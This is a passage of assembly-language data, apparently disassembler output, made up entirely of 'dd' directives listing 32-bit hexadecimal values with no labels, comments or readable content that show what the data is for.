0E8A0AF74h, 56DD1D17h, 166C0AB2h dd 0AD8D00BCh, 8A084309h, 0D307CE0Bh, 480408A8h, 1023DF49h dd 100D7A0Eh, 0F06EA7C1h, 403A9008h, 0A50306EEh, 601A56ADh dd 1287E18Ah, 0C2327881h, 0C81E3FA2h, 0F00999Eh, 67C9C5F3h dd 56847A3h, 6A8C57D7h, 4FD490DAh, 88B8E20Fh, 9A69E002h dd 50470BE9h, 25D20900h, 0E863E556h, 4963EBC0h, 5A709401h dd 2134904Ah, 8021D449h, 0B47CF9C5h, 48B569Dh, 40F670h dd 4CC67F22h, 888A16D7h dd 0CF94014Ah, 6A762F4Fh, 1081C800h, 0EA2D332h, 0CB89AAF4h dd 0BBB24F23h, 0D6B14000h, 4864C0C9h, 0C8FB02AEh, 775143D1h dd 41B404C8h, 0B204010Fh, 0E0CAC240h, 0E4144B48h, 0E234F8D2h dd 0C00884A4h, 0DCE3A40Eh, 0E9E0303Eh, 0E048A6E3h, 0E1EE005Ch dd 98164993h, 588A5D43h, 5A213500h, 27D2B8E2h, 8D05A8E2h dd 2403CC42h, 9A10E0E2h, 0D3284D09h, 0DE90080h, 347D0263h dd 0EA74F5Bh, 0D16EB000h, 25A514FEh, 0F12ECF1h, 0B28060CCh dd 0C34C2229h, 6B081840h, 59EF090h, 0A0CAFB53h, 8010A80Fh dd 16AB6812h, 0AAAE1265h, 5A307215h, 95F81543h, 8C9A10F5h dd 0D011B22Ah, 3A1D600h, 4FEF4C67h, 1882FBD7h, 0E778A468h dd 42A7AC7Ch, 2784641Ch, 70CD846Eh, 9BF8C925h, 423C66EAh dd 68C42D60h, 0B7315018h, 3E3638E1h, 780F3C4Bh, 63D00910h dd 5898E043h, 7867CDC1h, 0FA2F5050h, 95284C58h, 9D8C7481h dd 81747852h, 0D57E43C6h, 244FA020h, 37CE7A3h, 6BC18C35h dd 2E012805h, 74D062E5h, 2D5B0EBAh, 0EC830CFAh, 0FD0EAA4h dd 0EF02A8F2h, 6C43DAC6h, 42D8FA2Bh, 451A00CAh, 0F7C164E2h dd 2C119585h, 6DE0EF27h, 30012499h, 0A8AD3FA4h, 84E9D374h dd 0E0000877h, 0CB0ACE88h, 1B6E54A3h, 168FC8A8h, 0AF7C08CDh dd 8132420Bh, 0B549AD04h, 0A80118F0h, 0F2A70B4h, 9A4833ECh dd 0E14C2C0h, 460CA5BDh, 684BEB42h, 0A2CF0032h, 5665FDF8h dd 0DB284FA0h, 3507C4F1h, 0DA3126D5h, 0E03EEFA0h, 2A887687h dd 0E6B82802h, 0B8F761B5h, 391F842h, 94E8336Eh, 73D9A4C8h dd 0FE1C488h, 0B58AEF0Ah, 20BBE071h, 9D37h, 392952Ch, 0C26FB800h dd 634C5BD8h, 0E5F70264h, 36BBAC87h, 7FCA1860h, 0EC0F6600h dd 6E6ADDBFh, 0EB7526D0h, 555000CBh, 0D9CA623Fh, 0E02CE81Eh dd 0E517C502h, 1E6850FCh, 397D56A5h, 0D800814Bh, 782961C2h dd 440E983Ch, 0AEF800DEh, 6B1845EFh, 8097DF03h, 8A3B7560h dd 0C7CA018Dh, 0E9C5B66Fh, 259C6D0Eh, 544642h, 0C0830518h dd 0DAF2FD79h, 424450C1h, 103406A7h, 0D093DF1h, 0F6A47780h dd 0CF8B9187h, 6F78677Ch, 4B029902h, 7F194F41h, 3871F489h dd 0B88CA444h, 29B369CBh, 795F80F0h, 7B5D8441h, 0F8251F42h dd 0C9D8003Ah, 0F5A58F8Eh, 93EC6B50h, 951A1800h, 0AD364F01h dd 8D0EEFAh, 51D24282h, 2BEB6300h, 4DE59B61h, 0BC12084Ch dd 8FC82101h, 9EE858AEh, 1335A907h, 6E779D68h, 628C5240h dd 3230C0B5h, 0C3F439D9h, 0DBBD6700h, 0A4AAF516h, 7DE8055Ah dd 0B01809E4h, 0E5A4FD0h, 0CC3C00F1h, 63C8C97h, 3CE0259Fh dd 5027ECE1h, 3945500Ah, 70462D84h, 86FCD32h, 3EC7128h dd 0E90F8AE1h, 3E601055h, 0B9103433h, 507CA5D9h, 0F0D7E584h dd 44264C10h, 92006C20h, 0BACD6F80h, 0A43B009Bh, 1E5836E6h dd 1803176Bh, 7BA6CBEEh, 0E8B1958Ch, 19A71040h, 2258008Ah dd 8ED80D49h, 0FC65138Ch, 0B0A0D320h, 1A6F2442h, 21E78F1Ch dd 0A4817780h, 5A0296F0h, 0B4506CD2h, 27D86806h, 6D9200BFh dd 0AD379BDCh, 1B0DF921h, 0B083A1E5h, 586443F0h, 0ACB4542Ah dd 0ED4C1308h, 2D4E8000h, 0EC03B1h, 820D0BDAh, 64605F10h dd 0A64FD139h, 0AE8040B8h, 0D3F261E6h, 7E791CC1h, 5968052h dd 0DD4FC87Ch, 50289861h, 83B368Ch, 0A400E254h, 689B4BE7h dd 0B2A9FE03h, 74DD0100h, 459CF291h, 44703A5Ch, 17229F66h dd 0A3547942h, 3CDE0204h, 68E7907Ah, 0C98EFDCCh, 0A891E420h dd 78482A50h, 0EED99DDDh, 0C30A42F4h, 0E4836105h, 4CECA5CDh dd 6440F83h, 133F2915h, 23CB009Ch, 7E56A2D2h, 0A9A4B84Ch dd 2DEC4DC0h, 0C58502BDh, 0D740506Eh, 3868B0E8h, 0BC09E908h dd 5467018Dh, 13D9E4Fh, 702C5F08h, 26E85326h, 484E0924h dd 450CE858h, 38DF91E5h, 0C32BDC8h, 53005C7Ch, 0B1552CF0h dd 5EB20BC4h, 6B804CA6h, 0DF53AFDh, 9204200h, 1BE2B814h dd 15B1009Bh, 0DD1D9AC6h, 180F12C0h, 226BB67Fh, 58722D8Ch dd 221400B0h, 92416E37h, 5A4D43D4h, 0B5351298h, 2E182D00h dd 98E72Dh, 485969E2h, 0E5436588h, 98E184E2h, 66D1DDE9h dd 509A8045h, 55FAD001h, 81EAE5F9h, 0F60D2880h, 0D2EF71F1h dd 6C434F2Eh, 0E88DD80h, 6136603h, 48E54E02h, 0AA253020h dd 0FAE832ADh, 0E80EB780h, 4CADC888h, 57A20920h, 8113AFEh dd 5A9108C7h, 52D888F6h, 12B988E9h, 69180349h, 480C074Ah dd 6021C6E5h, 0C14325DBh, 37C8DCE3h, 31D65D8Ch, 63DE6040h dd 4ADDE841h, 5DC813Eh, 48482B1Fh, 0BDE58636h, 0A44F50E1h dd 308C3438h, 2818FA64h, 20E763E0h, 3B588030h, 470DF010h dd 0D0989512h, 0CE80B564h, 2BE80B27h, 24E52AAAh, 0FE16082Ch dd 54F2AC87h, 0ACA0482Dh, 0BE87F0F9h, 8C893E80h, 0A8F10F35h dd 0EA3A3D3Ch, 0E03C9CF9h, 0AA0316E8h, 0A4FAD9h, 5D954DEBh dd 8DE51301h, 247B58h, 69219BC6h, 0B811F41Ah, 0D22220DCh dd 365F98F2h, 420918CAh, 4C568B88h, 28A08788h, 0C8785D50h dd 0A8C80809h, 0DA98F86Eh, 0B20140F6h, 0B464E40Bh, 0D6F65DEAh dd 0A80AC7B0h, 7C00D05h, 0C0BB704Fh, 8B2764A6h, 0AA4AECA2h dd 0C000CAD8h, 80A49DD0h, 0B807F77Eh, 801FC2D0h, 0BF4F02AEh dd 0E4905596h, 0EC2F65CAh, 7D9CC81Ah, 4EFB1641h, 3E240003h dd 17F093B9h, 0C8BA657Ch, 0F03584A1h, 0E02E3497h, 0D100F095h dd 0BA9F5163h, 5CE5169Ah, 18B8A387h, 24F80E25h, 914F2549h dd 0A73A3860h, 0ADCD29Fh, 0E7DE259Ah, 725D09F1h, 0BCA21285h dd 0BE4FC3ACh, 17302F89h, 0FF57F010h, 0CF718A14h, 0D40A5BF8h dd 8C70D43Bh, 7C6280AEh, 71086CBCh, 0D23B01C0h, 0A4513143h dd 0E06AB821h, 0FC6CADh, 22245F48h, 0B4D7B171h, 0D473C400h dd 21ABFBEFh, 58AA0002h, 722EE8A2h, 4700D004h, 0BFE19D5Fh dd 27E9E5h, 99508C3Dh, 10A38309h, 2E005179h, 7F9A4DE6h dd 0FC729CBFh, 3868C067h, 0A0589798h, 0EFCE6A01h, 45FF6CA4h dd 1CF4FCF0h, 80D5F39Bh, 0E3DB02ABh, 0A42DC7C3h, 1FB076D8h dd 2B52035Bh, 86E1BC43h, 671881F2h, 0CC087232h, 7FC69881h dd 8030AE3Ah, 9D5EA670h, 30EDBA4Eh, 603091F1h, 1100B3F3h dd 9212BEF4h, 0F3EF2FFh, 83DCBA3Bh, 3FDAB6C0h, 484164D5h dd 2F8B8240h, 0ABB30760h, 80D8B8D3h, 4C4302F3h, 391D2200h dd 42A057D0h, 0D63A003Ch, 808E7281h, 69036048h, 0FDE7E473h dd 68A01EBAh, 0CB0C007Bh, 0F393DF6Bh, 0E57D8D3Dh, 8001E098h dd 0BE103B02h, 380C48E0h, 61006593h, 0C4D72550h, 6C6118C7h dd 40CB8F98h, 4BC23886h, 52F830D4h, 7243930Eh, 35105858h dd 374700FEh, 4CC7FD3Bh, 847DE707h, 324083Ch, 0F38E9774h dd 1487866h, 3D20D155h, 0D5EBEE88h, 3F18850Bh, 0A8096B12h dd 0F930000Ah, 7EC7EDBEh, 0CB04019Fh, 66FFF83Ah, 0DD84148h dd 0D502A7h, 72E3CB6Ah, 801E6D28h, 3BE63C0Ch, 7E48588Bh dd 89C43B12h, 5A721161h, 42880B9h, 33FC01D3h, 0B78400EEh dd 0B6AC81FFh, 0E30AC369h, 0D06B930Ah, 0BCF68F83h, 84C043DEh dd 98663D0Ch, 0A4A0A9A1h, 0D14C06Bh, 733C6732h, 0E628B0E8h dd 0C0A4882h, 0CCDD6BC8h, 0A3744128h, 0C36A0E19h, 0D040DF60h dd 6C82420h, 0B63A9E80h, 0DC0F5168h, 0A4AB0BECh, 589375E3h dd 8E22C053h, 6064609Ch, 27E86582h, 50036798h, 0AE85C289h dd 2C55A0C1h, 0B40B00B1h, 0BCA59708h, 4400C699h, 82AC4048h dd 24E7D46Ch dd 24D5934h, 0F7C872ABh, 3A842848h, 88C5E47Ch, 8040D321h dd 72A937D0h, 1074609Eh, 86A27C9Dh, 4DE5F500h, 0A62F9A6h dd 1FB7EA58h, 0C015528Fh, 6FC84ABDh, 27004F4Dh, 0AED65020h dd 157FA1Eh, 0B79E6E3Fh, 9515BEC7h, 6940AE0h, 48CA3AB9h dd 0BC9A0080h, 3D70F2FCh, 9490DCB8h, 0B083E529h, 0CB1B1400h dd 29B512ADh, 85BC9DE6h, 0AA3F6B95h, 108A6787h, 91CD0AC2h dd 1030E9F8h, 0B92330C8h, 0DE461D10h, 50FE7600h, 0A1F2EF44h dd 7B0892C2h, 91040354h, 42F3EE83h, 120450A6h, 53ECDE11h dd 307228C8h, 68607BA0h, 6C243A7Dh, 0AD807802h, 2616F56Bh dd 0B823308Eh, 0BC203F58h, 0D31098C4h, 0E4582481h, 60B83AD0h dd 0F3143829h, 20E9BDCAh, 12241134h, 84E87CB1h, 0ED093A06h dd 0C4EB0011h, 622AA78Ah, 0A8000AA4h, 0D035BC67h, 0CFB6FB8Fh dd 0D2438778h, 80BCD971h, 9DB848DAh, 8347802h, 0C14FCEC9h dd 0BC5029AAh, 174C2BAh, 0DF5BC765h, 0A1AC7FCFh, 0AA3CA430h dd 3A18C84Ah, 0E7B837FFh, 2CD649ECh, 720C5C48h, 0DE307726h dd 8B091B78h, 20FAB7C8h, 21C1AD00h, 2991378Eh, 414AF0D8h dd 580109B2h, 0C04EE6BDh, 8AF8F4ACh, 19898CAh, 0A78C513Ch dd 0F3B1F09Fh, 0AAEDC8B0h, 14A3B49Ah, 75395010h, 59D9430Eh dd 0E420AF69h, 0AB7C72ACh, 5DEA0CBh, 0C01C1410h, 8F05FC64h dd 0F047867Eh, 8769A872h, 3CB91C0h, 0AD41FBFh, 0C5F1EE38h dd 384D87C4h, 0D1440448h, 8332DB24h, 20EC1C41h, 31A01E3Ch dd 8E0ABE4Ah, 1C4D20Eh, 0BE50901Fh, 303988FCh, 0A889008Dh dd 0BDAE4D0Dh, 0BFE79C00h, 28FD5B1h, 0C820C177h, 60EF906Dh dd 16502B58h, 940050ACh, 0C545AFCh, 92DAA63Bh, 0CB033494h dd 13BFC0D9h, 0C0C7BC59h, 94C12950h, 188CB363h, 0EE480A2Ch dd 0C9A4E819h, 203012A0h, 8BEC5C4Fh, 1F32C07Dh, 36F588B8h dd 121CD20Eh, 2C3A02D8h, 0B2FC866Fh, 21110010h, 87BE9C8Ch dd 97039550h, 5AC6D4E6h, 606E8F3Ah, 757ECE4Dh, 8EAD0C8Ah dd 0AFD882E9h, 1D5C0CB0h, 0CE190241h, 98EB149Fh, 808818CCh dd 549A333Fh, 0B8CE559h, 89EC22B6h, 95C9034h, 613B810Dh dd 6E9AF141h, 0B67B0B4h, 0CAFB142Bh, 62247831h, 3B0304CCh dd 8C80FDD8h, 60565790h, 58B138EBh, 0A850A60Eh, 0D32E16A0h dd 290BBEDEh, 0C008A043h, 91674D04h, 6E8805CCh, 58A40018h dd 3850B0BFh, 0C9305100h, 0C2D8BD82h, 9EDB1D70h, 62CF8148h dd 0BF063F3Ah, 0FB8E8A41h, 0DD0BC4C8h, 1DE823B3h, 4F200281h dd 0FA2E8ECCh, 1744300h, 2A7271DAh, 0F05341h, 98CB5999h dd 3E56FF75h, 490E851h, 0CAA8C788h, 41956588h, 1872ADB4h dd 0F878215Eh, 4C92E638h, 68C5A632h, 98C4A2C1h, 0ABDC005Ch dd 4374C6F3h, 0AF8E7B0Dh, 94071844h, 4F1CE9F4h, 926B1D2Bh dd 0C973A401h, 0A060AC41h, 0C044AB92h, 0A0C051B7h, 298667BAh dd 86CC4AC2h, 302CAD8Eh, 448C14Ch, 0CB0AA66Ah, 98EF40C8h dd 32C818C0h, 31E71056h, 6D8ED501h, 99D0720Ch, 67870A8h dd 8951907Fh, 0B70B28E3h, 0A1BB7211h, 2D663ED0h, 90B84430h dd 8E3B09BCh, 48A9A058h, 0CE8AB810h, 0C8183492h, 5948EA98h dd 0C77F0791h, 0C21F45FCh, 84977CBh, 3AAC5035h, 0DCA01734h dd 640BB31Fh, 224C043Fh, 0C35CCC0Ch, 39EE98A7h, 0CB0B2414h dd 3808C04Ch, 0C6000AA9h, 6A9779CFh, 37724666h, 8B2011E2h dd 0E71E6494h, 0A7004F4Eh, 0A1768621h, 7DD16D7h, 8C2108Fh dd 88AEA689h, 8867B880h, 3CA048C2h, 116774C8h, 73C5FC50h dd 0D3680C00h, 561EE3h, 50B4CBC1h, 0E8670A92h, 3442BD3Ah dd 0D075206Bh, 93501004h, 41EA9489h, 0D301E31Ch, 0A0C6F2EDh dd 378E020h, 678DB535h, 498E1DC9h, 9BB62200h, 3206F119h dd 0A2E0198h, 0E13FF2C4h, 1A2C307Ah, 0C6FA3302h, 43F44772h dd 0E3A28040h, 5CC8909Ch, 0E50AC4F2h, 0A4E88AA0h, 0C002021Ch dd 0DC460AB2h, 73843A17h, 71448440h, 9208F96h, 0AD8DCE1Eh dd 3947C280h, 0CC5D3C8Eh, 54550010h, 68185D96h, 9BDC2E94h dd 0CE72E658h, 8253D9E9h, 1C7B9E8h, 1880C442h, 0B0F14572h dd 0DA18701Fh, 9638E3D8h, 98807583h, 943E2FFh, 181A9345h dd 0F6A74D00h, 787E99ECh, 0FF91AA01h, 5F859C2h, 7DC50A8Fh dd 434E7100h, 0C714F92Ch, 0BE4FCFh, 0EDD59AE6h, 32725E03h dd 51985D07h, 30641009h, 3CC08A09h, 8E49E53Ah, 0EC912958h dd 8B81003Dh, 0C3E47B56h, 68E2425h, 7A49398h, 0A53F65CCh dd 0DA64CC2Bh, 8D17E090h, 4440EB68h, 32E7D76Ah, 445D00B4h dd 0FDC80AADh, 480C2207h, 502D7C8Eh, 38AB63D9h, 100A7245h dd 44960AA8h, 0A31AA090h, 48669E3h, 0C3177855h, 4B01EFD2h dd 50BFEE0Ch, 0CCD950D7h, 5F900972h, 7381C98Eh, 0D8424E6Dh dd 58C3E207h, 0F23F3BE0h, 0CC8FAFh, 0C8873C27h, 10806719h dd 4FD150F6h, 8C3CF325h, 0B03A3E8Bh, 0C78A6014h, 3C3473D2h dd 848FF9Dh, 0BB3A2474h, 91A4812Ch, 0EA14C470h, 10FC98E8h dd 1EC2DF9h, 0AE0B36BAh, 0E740D406h, 5D6C372h, 13C89266h dd 0E7E4003Eh, 8ADEE583h, 0BA509094h, 0C0D5FCC7h, 0E44173A8h dd 3F166C67h, 9C40849Ah, 86BD3707h, 0FA3746Ah, 0A9C30DAEh dd 0B08CC492h, 0CF00BE18h, 7F6E1F34h, 0CB816635h, 0E8826B20h dd 9470EA80h, 0C0BF3809h, 0A37422D1h, 4803068Eh, 0D0B067E4h dd 0B5B01203h, 2D94F3Ah, 7092AF28h, 0C01F8Eh, 9D07B8E0h dd 11D7E90Fh, 0E5C8D3B3h, 4B208C8h, 0FD4E45E3h, 2177C7C2h dd 304FB724h, 3F768BD0h, 13C84248h, 0D43089B5h, 92F4FDAFh dd 7E353038h, 57171818h, 0B09BB80Bh, 21E8A290h, 0EF78C887h dd 0B3D38B15h, 46C73001h, 881E79F9h, 0BD7430h, 43061D87h dd 0B6C2C956h, 7CDE1492h, 0B93A3643h, 264C7EE5h, 9682551h dd 7C467915h, 78F03C26h, 51003B17h, 528E7C47h, 3F0C3FDh dd 0A0846B90h, 3A1AB38Ch, 6050C583h, 12C61714h, 0B851F1h dd 0EAF335ECh, 0FE30C7E3h, 8FB030A9h, 12F198A5h, 192B214h dd 34324C1Ch, 811F6085h, 100CAC48h, 0B406FECEh, 60B7E83Ah dd 8E36BE09h, 8B4ABA6h, 381F5810h, 4C809012h, 9F2DB45h dd 0C643F6Ah, 0B3995C21h, 40CB0247h, 4BC4D31Ch, 3A580343h dd 2910087Ch, 0C80CBC46h, 0E868D9E5h, 0B9078405h, 89EBECh dd 0A82CA2E1h, 65485026h, 5CA416B0h, 3A23036Ch, 582C4466h dd 3FC52C33h, 1290B488h, 40BD8369h, 0EE8924DCh, 945479E4h dd 631374ECh, 0C4044B06h, 0E700F9A4h, 444C189Dh, 68729A0Ch dd 793A70EEh, 0DD61C96Ah, 0E3EB2802h, 2A4DD070h, 8E8217A8h dd 1223EC00h, 263AFEADh, 87985B94h, 0D7EECAh, 0B835E6B9h dd 1211365Ch, 5801BD8Ah, 604D2331h, 0C0AC30h, 26115CF7h dd 8D508539h, 94816B0Ah, 2503F8AEh, 0A47866h, 695A9C18h dd 0E21E3A60h, 5658F892h, 4C702C6Ah, 0FFF5308h, 94890A55h dd 0B4217000h, 0E703E48Ch, 2C2FC640h, 0B6A001EEh, 0C4B0826h dd 60070A8h, 0AFBD0107h, 399B5ED0h, 0F88C5BE4h, 310A571h dd 0CC62E33Fh, 20720DBCh, 0C4242870h, 8E8F02C3h, 0CD2E75Ch dd 18176C6Bh, 10074FBCh, 1E604C5Bh, 0A1AA9E72h, 984086B4h dd 0B29BC957h, 7CA64C54h, 1F65E200h, 0CF91C87Fh, 0E50878C7h dd 0AA80DD74h, 3B0DF2A2h, 0E25C7455h, 666F9B00h, 0F1ECD347h dd 1811C930h, 1E698F18h, 15ECAA8h, 0ED873B26h, 81AB31EEh dd 2773C648h, 22D8451Ch dd 71AB00FFh, 5E46B2BFh, 9C20E537h, 9470E8Ah, 6906A94h dd 26CB39B9h, 0CEB60170h, 0FA9BA75Ch, 7225F0C9h, 300B18CCh dd 0F29A02DCh, 37083A01h, 0FEC0B107h, 33D5BF9h, 0C6C34063h dd 5814D123h, 3F3883E6h, 88A6B071h, 0E2CA69h, 0E36A68E4h dd 398466B8h, 28B52737h, 65C24620h, 343600E4h, 8D7AAA52h dd 48C135D6h, 26D36C81h, 1F84F4h, 459E251Dh, 5A59C668h dd 0B82AA21Eh, 69818D40h, 3C2126D6h, 0A8014F84h, 39F15878h dd 0B818F75Fh, 5E70D21Dh, 0A59132CFh, 141064E0h, 3A5506CEh dd 30480739h, 0FF7B8F78h, 0BD37BCA9h, 0D93E58h, 91115B6h dd 0E20BC9h, 296594AAh, 0AF34C4C3h, 2698BB00h, 0EECFB5E8h dd 38EF827h, 85CE5F8Fh, 33D815DEh, 57032E97h, 1139A6B7h dd 9700089h, 1AA4FACh, 3401E541h, 0A0990B26h, 0FEC0CE11h dd 70DE0080h, 5FECADCCh, 0CF1A755Dh, 1358AE2Ah, 0B69DB0ECh dd 348D1422h, 4400A08Fh, 0AE40F9D7h, 41B0D279h, 3AB17114h dd 94E800BCh, 0B6C6B9A4h, 6640C011h, 0E20C8537h, 3C873300h dd 4FAA0AEBh, 20426A2Ah, 20A52454h, 0A0190FA4h, 0C8A321E6h dd 2030D87Bh, 0A20130D6h, 0EA7112E2h, 0DD0007A0h, 24B680DAh dd 924A7BAh, 0C3C24495h, 905049EAh, 43240708h, 0B86094B4h dd 0A9122C39h, 14409294h, 121110BAh, 2180E5B0h, 20C80B3Ch dd 0DA817A5Ch, 6F8CA3F3h, 7163501Eh, 9850EB8Fh, 0B990C198h dd 27510CA8h, 1A074207h, 0C9B739CAh, 8E6138CAh, 0BC24DDDAh dd 4F1CA04Bh, 590A423h, 0D4F282F0h, 0C28407EAh, 20E02FE2h dd 75E9EFF3h, 7F4CC600h, 0C7A0F1A6h, 0E43C646Dh, 872487EBh dd 0EE48CCBCh, 8D2110C1h, 58A43609h, 0BFE01D3h, 0D49589B9h dd 7B494B39h, 0B43C1EE0h, 1040A90Ch, 0E22E3071h, 0F7157FE0h dd 0EB354C0Ah, 4091E45Ah, 2FCFB3Dh, 0CF508FB3h, 2863BC97h dd 0C8C1FABBh, 0E849D204h, 5209089Fh, 0E82884CDh, 0ED3A33F4h dd 7FBBC708h, 61571813h, 0F19A7100h, 0CD3748h, 994EC02Dh dd 7A587C71h, 98C88EC2h, 3458481Eh, 1020E1BDh, 0AEC53071h dd 0DB87CFB8h, 0E4F2B209h, 7289882h, 29D8B238h, 87F85D86h dd 0EB3E6ACAh, 0BB01340Fh, 80CB6EC6h, 4833DF60h, 0C5AAE1C8h dd 0C0BD3871h, 0EA114288h, 939C300h, 5C4765FAh, 826005ABh dd 81B4A354h, 40848F47h, 0C61DA7CFh, 0E6CA5800h, 245DE438h dd 0A2AE1FCBh, 0D34A00FCh, 0DB63DCFh, 92DB8E00h, 6BD9B2F2h dd 890C9150h, 0F0A0A63Eh, 101C202Dh, 6EB3E200h, 71E770C6h dd 35B8096Ch, 2809DAh, 8BC706D8h, 0FB00823Ah, 726A46E1h dd 2466BBE3h, 6440C183h, 0DC001F51h, 0C78AE31Ah, 480B60B7h dd 3D7B661Ch, 3641C318h, 92AAF24Ch, 0C6C10CC8h, 0EC28162Ch dd 8D344092h, 1CD87027h, 89607B9h, 0C02ECD57h, 0B2EDE839h dd 0CC09A107h, 0D4E1F33Dh, 30619566h, 0DFFE0801h, 95AAC34h dd 1684A048h, 30B48C88h, 35C32EE1h, 11057134h, 0CA98FC80h dd 423C9246h, 45112E3Ah, 1F3F8500h, 18B10ECCh, 0B0FAEBC8h dd 30C0E3B0h, 0D7D547DAh, 413914DDh, 1100B445h, 0BCAECA02h dd 0C314B322h, 8CACD372h, 31B73912h, 29F889A9h, 0BC708937h dd 18948813h, 2D10EA10h, 0E857296Ah, 9F6CC600h, 0ADFEAA0h dd 44C129CEh, 0BD742608h, 0E45466A4h, 934CC49Eh, 98CBD48h dd 0E62002C0h, 2A74469Dh, 90EC1A55h, 0C7091CBCh, 37C183A9h dd 8FC24E65h, 0D7B60880h, 0C906989h, 6DF37119h, 119E6738h dd 24A86893h, 6744254Fh, 9410894Ch, 0C0835BCEh, 4C50BC32h dd 0B8408091h, 841150AAh, 894CA18Eh, 0B3429C30h, 71C08008h dd 43C48ED1h, 3ED910C4h, 101EB084h, 8FF09A98h, 0DA49C06Dh dd 92D869F1h, 0A06418C9h, 0D4364CA8h, 0ADDC00C5h, 0B69FCEE1h dd 4800D525h, 0EAB8E6BFh, 48E9C6C0h, 9DA55091h, 0D3BC6054h dd 0CA8458F9h, 6C4DD40h, 0C807577Dh, 2E0310BDh, 0BA928E56h dd 639AA0CAh, 7D8BE226h, 78427BDCh, 0DEAE39D5h, 857B103h dd 3871CD9Fh, 6492509h, 0C7A821ADh, 0F08C6878h, 0B3D8DC09h dd 0C818D979h, 2118A6F8h, 0CF483BB7h, 56231380h, 6B454A4h dd 34397D09h, 0AC582010h, 0C024468Dh, 0D39EAFD8h, 0A500B1EDh dd 0B68066E4h, 92F84DC6h, 7B3B0F90h, 17E224h, 0B6B2DF44h dd 90786502h, 0E5089150h, 0C0148350h, 477DEE14h, 0C1FA0894h dd 1FE9404Ah, 3D200A57h, 562074B8h, 0E84DA4C1h, 219D4176h dd 50F88704h, 39A15AC1h, 0C9E2668Dh, 0FA02B280h, 0EC00D204h dd 0B511AF27h, 0F128E558h, 0AC62018Eh, 31C73C44h, 3201C38h dd 64C730BDh, 0C6BA1606h, 1818B7BEh, 515F88B5h, 7C943C71h dd 5C304F00h, 0E2E8BAh, 0D0C4091Ch, 6505EACBh, 4EBC4C00h dd 0C0BD268Fh, 9BA92C17h, 0BF117F8h, 6822D234h, 8909EA47h dd 18740050h, 1EF093F6h, 409B9CE4h, 0EEBDFA61h, 49183995h dd 0C3D065F5h, 5A140070h, 0F03DE536h, 5F4CFB25h, 6520FA0h dd 95D5C0E0h, 60918EC1h, 86D93040h, 0F7F2DF50h, 3C84C249h dd 852CBB38h, 81FFD4E3h, 30E61080h, 0BD3E001Ah, 0BCC80908h dd 0BF004F6Dh, 1F853BE5h, 0BB1E7D4h, 0AE698DA1h, 142818A0h dd 0D7F80D50h, 4600BF8h, 0C845F618h, 0F49AB2h, 88859765h dd 0C7B05A74h, 30171D24h, 0F97B4D81h, 0A880ED22h, 27E0160Ch dd 49C3288Dh, 0F83D59FEh, 584F7194h, 8458CC87h, 9C8FE71h dd 2FBE39A1h, 84046C09h, 95008036h, 0BF0944EDh, 0B852EB25h dd 59FA24h, 0B1E0AFE1h, 783669CEh, 0A4C42E16h, 70111C00h dd 288D38F6h, 4C94C055h, 1E0AC42h, 0A060353Ah, 7AE21D18h dd 4FE292h, 20DD5E99h, 4871160Dh, 76C6949h, 0B049A495h dd 0D959C650h, 0E8AC0E7Ah, 0A65DF0ECh, 6F18B0F4h, 1F00FF90h dd 0AE11A8B5h, 92DBAD8Dh, 1C6C3E58h, 25CCF017h, 8728002Ch dd 0E2414606h, 8DDCB109h, 0BD68419Eh, 16AC3064h, 2E33BBAh dd 7C80C774h, 713F84C8h, 0A0759230h, 5FCAB9Bh, 448D4626h dd 48BC4029h, 9E1B8C50h, 17070905h, 9C922B71h, 20D06834h dd 75CEE4EDh, 0D6B60023h, 8F1C9EF9h, 6D672C4Fh, 7A64B968h dd 640FC0C1h, 1DB5892h, 0BF27EB80h, 9C60FA66h, 0DD81EDF1h dd 6B372C74h, 0FC0860EFh, 49324E0h, 0E4AC2339h, 0B502CC30h dd 33EDDB9Ah, 4CC0C213h, 838F0634h, 60C4BB5Ch, 8B042E98h dd 0F88A7142h, 0C628DC92h, 8040EE54h, 80EB054h, 83AA1458h dd 0C22722BFh, 0CD20C8DAh, 0E67892B3h, 0E5EE17h, 5DFD9689h dd 0AFD921E6h, 0D1022890h, 0B702BABEh, 0A1148CF5h, 2ECE80C3h dd 0D10435FCh, 0ECEE64C5h, 0C0D004C4h, 0C444B471h, 0B38767A0h dd 804F2018h, 80513B58h, 0A89AE8C1h, 60804F25h, 0A0FF17D4h dd 0A8C08Dh, 84B82E51h, 5648D12Ah, 0CA428901h, 621715Eh dd 0C2695880h, 6A920BE2h, 0D63A3E17h, 1DB4C420h, 813400A1h dd 375689C9h, 9338E97Bh, 13E703Bh, 70C18ED1h, 0C74D871Ah dd 6F6CAA90h, 6EECF80Dh, 0E9032604h, 0A08799Fh, 1F74C268h dd 24DE89h, 3BC5320Ch, 0BD005558h, 77D1A17h, 345D5F7h dd 8105E5C1h, 4B7601C5h, 1D2AF507h, 0EBCF1703h, 562886EFh dd 402B0118h, 0E831236Ch, 328F46E9h, 55435B1Eh, 1050D90Ch dd 0B04107B3h, 39B0424h, 5BA32CD8h, 840F3898h, 0B35C1131h dd 6600022Ah, 0AADD0C8Bh, 75D7A15h, 0FFF9F1E9h, 5350B610h dd 51663A52h, 8030B300h, 8C0FEDC3h, 24D48A36h, 0C0760F12h dd 898305EBh, 4C1807DCh dd 0E210E3D0h, 9479C427h, 93BA003Fh, 15713647h, 0A802EAC1h dd 24348980h, 9100E0BEh, 0F2311C4Dh, 6D6015Eh, 4C6835Ah dd 8B722287h, 0B0C121E6h, 0CD1EE99Ch, 515B8E80h, 0FE2553B9h dd 0CF29661Fh, 79A9E68Dh, 33503306h, 0DEEC148Bh, 5251B107h dd 79B61FBAh, 6337FAF4h, 0E18954DBh, 80EB07B9h, 5684BD0Eh dd 0F2012C42h, 610AFA5Dh, 0EF804272h, 0A39FC36Bh, 0D1408E2Dh dd 6001B9B1h, 81468705h, 0C0DF35F1h, 1CD9F716h, 83C1E1D1h dd 49E3E907h, 0E6023478h, 88B0F02h, 0EE0E4825h, 0A7900137h dd 5EF08932h, 0B4C24148h, 0EAE5105h, 0F8DB9D74h, 0E7EF2CCh dd 7B96A3FFh, 0C9E3007h, 83BC4A9h, 0A08BE128h, 8DA48178h dd 3702C1FCh, 0BE9CB28h, 815D0461h, 40EF3533h, 3E0C180h dd 79565724h, 1AA65407h, 7A3B86F3h, 2BF601ABh, 0D5315659h dd 34EBE45Ah, 4B5220Eh, 34A5D429h, 6BC72C8Ah, 0F7241010h dd 0F68103DEh, 40C25178h, 15A0CEB0h, 0F2D121Fh, 8D33A97Dh dd 0EEE90503h, 4D10050Dh, 218FE380h, 21835874h, 68BD1128h dd 8F865731h, 0CFE9C6DFh, 0F506AB4Ah, 347A4849h, 653D3064h dd 